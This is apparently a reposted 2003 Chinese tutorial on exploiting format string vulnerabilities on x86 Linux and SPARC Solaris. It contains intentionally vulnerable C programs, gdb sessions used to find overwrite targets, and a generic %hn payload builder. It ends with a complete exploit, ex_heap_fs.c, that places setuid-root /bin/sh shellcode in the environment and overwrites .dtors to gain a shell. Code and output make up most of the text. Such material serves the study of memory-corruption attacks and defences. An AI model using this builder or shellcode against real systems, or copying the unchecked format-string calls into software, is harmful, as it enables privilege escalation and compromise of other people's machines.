如何利用格式化溢出漏洞,x86/sparc
创建时间:2003-07-16
文章属性:转载
文章提交: silverlizard (silverlizard_at_vertarmy.org)
作者: Sam
目录:
1、什么是格式化溢出漏洞?
2、如何在x86/sparc exploit format string
3、确定retaddr/retloc的值
4、通用的模板
1、什么是格式化(format strings)溢出漏洞?
这里讲不详细列举关于格式化溢出的理论性的文章,而主要侧重于如何利用格式化溢出漏洞。如果您对格式化溢出不熟悉的话请
查看以下链接的资料,如果您对格式化溢出漏洞,asm/c语言有一定的基础的话,请跳转到第2章节。
关于格式化溢出的详细资料,请观看以下链接的文章:
(1)在Linux上利用Format String漏洞
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1635
(2)*printf()格式化串安全漏洞分析(上)(下)
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=533
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=534
(3)Solaris for SPARC 堆栈溢出程序编写(续)
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=683
2、如何在x86/sparc exploit format string
下面我将会step by step的详细介绍如何去利用一个格式化溢出的漏洞。
一个简单的有格式化溢出漏洞的例子:
[dove@rh80 test]$ uname -a
Linux rh80 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
[dove@rh80 test]$ cat ./vulfs.c
void foo (char *str) {
char buf[256];
snprintf(buf,sizeof (buf),str); /* 直接把用户提交的数据打印到缓冲区里面去,并没有限制用户提交格式化串 */
printf("%s/n",buf);
return;
}
int main (int argc, char **argv)
{
foo(argv[1]);
return 0;
}
[dove@rh80 test]$ gcc -o vulfs vulfs.c
[dove@rh80 test]$ ./vulfs AAAABBBB
AAAABBBB
[dove@rh80 test]$ ./vulfs BBBB%20d%x
BBBB 13451311142424242
[dove@rh80 test]$
如果这里我们把%x换成%n就会把前面的字符串的个数连同4个B的格式(%20d -> 20个 %d + 4 个B = 24)写入BBBB对应的0x42424242的地址
(gdb) r BBBB%20d%n
Starting program: /home/dove/test/vulfs BBBB%20d%n
Program received signal SIGSEGV, Segmentation fault.
0x4204a609 in vfprintf () from /lib/i686/libc.so.6
(gdb) bt
#0 0x4204a609 in vfprintf () from /lib/i686/libc.so.6
#1 0x4206a3e4 in vsnprintf () from /lib/i686/libc.so.6
#2 0x42052404 in snprintf () from /lib/i686/libc.so.6
#3 0x08048378 in foo ()
#4 0x080483b4 in main ()
#5 0x420158d4 in __libc_start_main () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x4204a609 <vfprintf+9993>: mov %edx,(%eax)
(gdb) i r edx eax
edx 0x18 24
eax 0x42424242 1111638594
(gdb)
ok, 根据上面的信息就可以构造一个exploit code, 在exploit code中我们利用%hn(把参数个数写入一个地址的高2字节),代替%n。
利用2次%hn就可以
这里我写了一个自动构造格式化溢出串的函数。
/* 存放一个地址到指定的区域, for little-enbian */
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;
return ptr;
}
/* 检测地址中是否存在零字节 */
int
checkZero (long value)
{
return !((value & 0x00ffffff) &&
(value & 0xff00ffff) &&
(value & 0xffff00ff) &&
(value & 0xffffff00));
}
/* 我们的构造格式化字符串的函数 */
/* retloc: 你要覆盖的地址 */
/* retaddr: shellcode 地址 */
/* align: 调整字符的位置 */
/* num:需要多少个格式化字符才能打印堆栈中的垃圾数据 */
void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int align, int num)
{
int i;
long reth, retl;
char *ptr;
/* little enbian 地址排列方式 */
#ifdef le
reth = (retaddr >> 0) & 0xffff;
retl = (retaddr >> 16) & 0xffff;
#endif
/* big enbian 地址排列方式 */
#ifdef be
reth = (retaddr >> 16) & 0xffff;
retl = (retaddr >> 0) & 0xffff;
#endif
printf("retaddr 高2字节: 0x%x / 低2字节: 0x%x/n", reth, retl);
printf("retloc 地址的值: 0x%x / retloc + 2地址的值: 0x%x/n", retloc, (retloc + 2));
bzero (sbuf, sizeof (sbuf));
/* 是否需要align,来对齐format strings */
if (align < 0 || align > 3) {
printf("align 的值必须在1-3之间,实际aglin的值:%ld/n", align);
exit(1);
}
/* 检测retloc 中是否有零字节 */
if (checkZero(retloc) || checkZero(retloc+2) ) {
printf("retloc 的地址中存在零字节,实际的reloc的值:%x, reloc+2的值:%x/n", retloc, (retloc + 2) );
exit(1);
}
/* 构造格式化字符串 */
ptr = sbuf;
for (i = 0; i < align; i++) {
*ptr++ = 0x41;
}
ptr = putLong(ptr, 0x42424242);
ptr = putLong(ptr, retloc);
ptr = putLong(ptr, 0x43434343);
ptr = putLong(ptr, retloc + 2);
for (i = 0 ; i < num; i ++) {
memcpy(ptr, "%.8x", 4);
ptr = ptr + 4;
}
sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - align - ((num * 8)+ 16)), 0x10000 + retl - reth);
return;
}
这里我将其中几个详细的参数功能解释一下
void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int align, int num);
char *sbuf: 我们构造的格式化字符串放置的缓冲区。
unsigned long retloc: 我们所有覆盖的一个地址(能够改变程序的执行流程),比如函数返回地址,.dtors结构,GOT结构,atexit结构等等。
unsigned long retaddr: 我们构造的shellcode在内存中的地址。
int align: 我们的格式化字符串是否需要对齐.比如在有些系统上有这样的问题.
构造这样的字符串[a][a][a]AAAABBBB%x%x%x, [a]代表可选,一般值在1-3之间,比如:
[dove@rh80 test]$ ./vulfs aAAAABBBB%x%x%x
aAAAABBBB........4141414142424242
那么我们的align的值就是1
int num: 需要num个格式化字符串参数才能dump内存中垃圾数据。比如我们在solaris sparc8上vulfs.c测试情况如下:
bash-2.05$ uname -a
SunOS sun8 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%p
AAAABBBB8223d8ff29bcbc041414141
在这里我们需要4个%x才能dump掉那些垃圾数据。
3、确定retaddr/retloc的值
关于shellcode的地址确定,有了很多很准确的方法去得到,我们在用execve/execle 可以构造自己的环境变量这样我们就可以
准确的计算出retaddr的值。
比如在x86 linux的环境下我们可以用这样的公式得到:
int retaddr = 0xbffffffa - strlen(shellocde) - strlen("./vulfs");
sparc 下也是这样的概念,在这里我们用warning3写的一个得到sparc下retaddr的函数。
曾经有一段时间我为了确定reloc的值而发愁,现在我已经掌握了很好的方法来得到这些地址。在x86下我们可以用objdump来得到
.dtors/GOT的地址。
sparc下可以用这样的方法来得到函数返回地址,但是不是每一个函数返回地址都有效,需要一个个的去尝试 :)。
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%n
Bus Error (core dumped)
bash-2.05$ gdb ./vulfs core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...
Core was generated by `./vulfs AAAABBBB%x%x%x%x%n'.
Program terminated with signal 10, Bus Error.
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libdl.so.1
Reading symbols from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#0 0xff3038b4 in _doprnt () from /usr/lib/libc.so.1
(gdb) x/i 0xff3038b4
0xff3038b4 <_doprnt+10912>: st %o0, [ %o1 ]
(gdb) i r o0 o1
o0 0x17 23
o1 0x41414141 1094795585
(gdb) bt
#0 0xff3038b4 in _doprnt () from /usr/lib/libc.so.1
#1 0xff3045d4 in snprintf () from /usr/lib/libc.so.1
#2 0x106e0 in foo ()
#3 0x10724 in main ()
(gdb) f 1
#1 0xff3045d4 in snprintf () from /usr/lib/libc.so.1
(gdb) p/x $fp+60
$1 = 0xffbefb44 //snprintf 的返回地址
(gdb)
得到retloc and retaddr 我们就可以去溢出了 :)
4、例子程序
/* heap_fs.c
* heap format strings vuln example
* Sam: explioit it :>
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#define MAXLENGTH 2048
int log_it (const char* format, ...)
{
char *p;
va_list ap;
if ((p = malloc (MAXLENGTH)) == NULL)
return -1;
va_start (ap, format);
vsnprintf (p, MAXLENGTH, format, ap);
#ifdef HELP
printf ("%s /n", p);
#endif
va_end (ap);
free (p);
return 0;
}
int main (int argc, char **argv)
{
if (argc != 2) {
printf ("need args /n");
return -1;
}
log_it (argv[1]);
return 0;
}
/* ex_heap_fs.c
* exploit heap format strings vuln code
* by Sam
*
*/
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>
/* .dtors */
#define dtors_addr 0x80495bc + 4
#define HELL "./heap_fs"
char shellcode[]=
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
/* shellcode */
"/x31/xc0/x31/xdb/xb0/x17/xcd/x80/xeb/x1f/x5e/x89/x76/x08/x31"
"/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d"
"/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x58";
/*
* put a address in mem, for little-enbian
*
*/
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;
return ptr;
}
/*
*check the /x00 byte
*/
int
checkZero (long value)
{
return !((value & 0x00ffffff) &&
(value & 0xff00ffff) &&
(value & 0xffff00ff) &&
(value & 0xffffff00));
}
/*
* FIXME:
* build format strings
* retloc: the addrees you wanna rewrite
* retaddr: shellcode address
* align: the aligns
* num: how many %.8x can dump the stack data
* offset: some shellcode offset
*
*/
void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int offset, int align, int num)
{
int i;
long reth, retl;
char *ptr;
/* little enbian */
reth = (retaddr >> 0) & 0xffff;
retl = (retaddr >> 16) & 0xffff;
#ifdef DEBUG
printf ("retaddr high word: 0x%x / low word: 0x%x/n", reth, retl);
printf ("retloc : 0x%x / retloc + 2: 0x%x/n", retloc, retloc + 2);
#endif
bzero (sbuf, sizeof (sbuf));
if (align < 0 || align > 3) {
printf ("align must between 1-3,"
"the aglin vaule:%ld/n", align);
exit (1);
}
/* check zero byte */
if (checkZero (retloc) || checkZero (retloc+2) ) {
printf ("retloc have zero byte ; </n");
exit (1);
}
ptr = sbuf;
for (i = 0; i < align; i++) {
*ptr++ = 0x41;
}
/* Padding */
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, retloc);
ptr = putLong (ptr, 0x43434343);
ptr = putLong (ptr, retloc + 2);
for (i = 0 ; i < num; i ++) {
memcpy (ptr, "%.8x", 4);
ptr = ptr + 4;
}
sprintf (ptr, "%%%uc%%hn%%%uc%%hn", reth - offset - align -(num*8 + 16) , 0x10000 + offset + retl - reth);
return;
}
/*
* main function
*
*/
int main()
{
int ret_addr;
char buf[256];
char *args[24];
char *env[2];
/* our shellcode address */
ret_addr = 0xbffffffa - strlen(shellcode) - strlen(HELL);
/* put in env */
env[0] = shellcode;
env[1] = NULL;
printf ("Use shellcode 0x%x/n", ret_addr);
bzero (buf, sizeof(buf));
/* build format strings */
buildFs (buf, dtors_addr, ret_addr, 0, 3, 65); /* exploit */
/* lamer ;) */
args[0] = HELL;
args[1] = buf;
args[2] = NULL;
execve (args[0], args, env);
perror ("execve");
return 0;
}
/* end of main */